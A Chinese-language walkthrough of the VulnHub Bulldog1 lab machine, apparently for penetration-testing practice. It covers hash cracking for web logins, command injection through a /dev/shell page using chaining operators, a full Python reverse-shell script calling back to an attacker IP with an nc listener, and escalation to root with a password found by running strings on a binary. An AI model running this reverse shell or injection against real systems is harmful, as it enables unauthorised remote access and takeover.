【VulnHub Bulldog1】命令执行漏洞
名称:Bulldog1
发布日期:2017 年 8 月 28 日
难度:初级
下载链接:https://www.vulnhub.com/entry/bulldog-1,211/
信息收集
主机发现
arp-scan -l
端口扫描
使用python搭建的web服务
目录扫描
访问web
访问/dev/目录,发现页面源码中存在一些邮箱和加密字符
发现/dev/shell/目录,提示需要身份验证后才能访问
访问/admin目录,是一处登录点
尝试登陆失败,参考链接:https://www.cnblogs.com/Risk2S/p/11447279.html
对源码中的加密字符进行破解,拿到用户名和密码
https://www.somd5.com/
用户名:search
密码:bulldoglover
用户名:nick
密码:bulldog
使用nick用户进行登录
登陆成功后再次回到/dev/shell/目录
发现/dev/shell目录是一处命令执行页面
命令执行漏洞
参考链接:https://www.freebuf.com/company-information/228881.html
同时执行多条命令语法格式
Command1 & Command2
先执行Command1后执行Command2,无论Command1执行是否成功
Command1 && Command2
只有Command1执行成功时才会执行Command2
Command1 ; Command2
先执行Command1后执行Command2,无论Command1执行是否成功
Command1 || Command2
只有Command1执行失败时才会执行Command2
利用Python反弹Shell
在kali中,创建反弹shell文件shell.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.5.132",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
使用python开启web服务
python -m http.server
将shell.py下载到靶机中
监听端口
使用nc监听8888端口
nc -vnlp 8888
运行脚本
ls&python shell.py
获取WebShell
提取
查看/etc/passwd
文件,发现拥有shell权限的有三个用户:root、django和bulldogadmin
查看 bulldogadmin
用户的文件,发现文件 customPermissionApp
查看customPermissionApp文件,显示乱码
使用strings命令查看文件中可打印的字符
strings customPermissionApp
这里的SUPERultHimatePASHSWORDyouHCANTget去掉H,就是SUPER ultimate PASSWORD you CANT get的组合,可能是密码。
尝试登录root用户,执行python shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'
然后输入获得的密码,并切换到root的目录下
总结
1、命令执行漏洞
2、python开启web服务
3、python反弹shell